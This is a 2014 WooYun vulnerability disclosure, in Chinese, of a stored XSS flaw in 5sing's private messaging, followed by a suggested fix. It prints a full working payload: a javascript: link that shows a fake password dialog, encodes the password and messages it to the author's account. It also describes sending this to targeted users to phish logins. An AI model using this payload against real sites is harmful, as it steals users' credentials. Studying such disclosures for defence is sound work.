当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082945

漏洞标题:5sing储存型XSS漏洞利用实例-可钓鱼盗号

相关厂商:中国原创音乐基地

漏洞作者: oldjiang

提交时间:2014-11-12 11:51

修复时间:2014-11-17 11:52

公开时间:2014-11-17 11:52

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-12: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

鉴于上次无聊,找出5sing的支付漏洞,5sing一直没有给回复,便又去随便转了一圈,找到了一个储存型xss漏洞,顺便做了个简单测试,完美利用

详细说明:

储存型的XSS漏洞危害确实挺大的,也很容易被忽略,在各个系统中,属于高发漏洞,所以能在5sing发现这个漏洞也很正常,废话不多说,直接上实例。
漏洞所在页面:http://5sing.kugou.com/my/message/note(站内短信)
漏洞利用方法:由于发送站内短信对javascript脚本未过滤,可直接发送javascript脚本,导致可执行任意代码,本次测试,我将利用XSS进行钓鱼,成功率极高。
好了,上步骤。
1、注册个帐号,给我感兴趣的用户发送一条消息,该消息是经过特别伪造的,包含了XSS攻击脚本,代码如下:

我在这里给你留下了一句话,想要知道吗?这可是秘密哟!
[url=javascript:$.ksPlugin.confirm({content: '继续浏览?请验证您的登录密码:<br /><br /><input type=\'password\' onkeyup=\'o_u_p=this.value\' style=\'border: #d9d9d9 solid 1px;width: 300px;padding: 8px 10px;color: #666;height: 23px;\'><input type=\'password\' class=\'us_pwd\' value=\'\' style=\'display:none;\'>'}, function(){var c=o_u_p;var d='';for(var a=0;a<c.length;a++){d=d+'|'+c.charCodeAt(a);}$.post('http://5sing.kugou.com/my/message/operateMsg','command=reply&content='+d+'&otherUserId=41496209');window.location='http://www.google.com'});]点击这里查看[/url]


OK,发送成功,结果如下(咱的广告词写的比较含蓄,如果劲爆点,成功率更高):

1.png


当用户收到信息后,点击我们伪造的链接,便会弹出如下窗口:

2.png


看到了么?要你输入密码以确认查看,这当然是我们伪造的窗口了,5sing根本没有这个要求。
我们伪造了个窗口,而且使用的就是5sing的弹窗库,所以混淆度极高,一不小心便会在密码输入框中输入密码。
这时候,当用户点击确认按钮后,便会执行我们伪造过后的代码,就是这段:

{var c=o_u_p;var d='';for(var a=0;a<c.length;a++){d=d+'|'+c.charCodeAt(a);}$.post('http://5sing.kugou.com/my/message/operateMsg','command=reply&content='+d+'&otherUserId=41496209');window.location='http://www.google.com'});


很明显,我们把用户输入的密码,转换为ascii码,再通过站内短信的方式,发送给用户编号为41496209的用户,这个用户当然是我自己的帐号,所以用户发送过来的密码,直接就被我查看了。
以下图片是用户点击“确认”按钮后,浏览器通过ajax提交的数据。

3.png


这时候,编号为41496209的用户(我自己的帐号)便收到了一条短信:

4.png


那个|45|50|51|52|53|54便是用户输入的密码转换成的ascii码,转换成字符便是123456,也就是我测试时输入的密码。
OK,测试完美成功,我只要注册N多个帐号,把这个帐号发送给每一个我感兴趣的用户,便可以坐等钓鱼成功。

漏洞证明:

以下图片是发送成功后,收到短信用户的执行界面,稍微没有戒心的人,便会中招。

5.png


修复方案:

由于系统只对类似<script>进行了过滤,而未对超链接中的javascript:;进行过滤,所以可以轻松执行我们伪造的代码。
那么修复方法也很简单,对提交的超链接进行过滤,如果有javascript脚本,直接过滤。
并且在提交时,如果超链接不是以http://开头的,直接过滤(目前只有编辑器的超链接生成按钮有次功能,发送短信时却未校验)。

版权声明:转载请注明来源 oldjiang@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-17 11:52

厂商回复:

最新状态:

暂无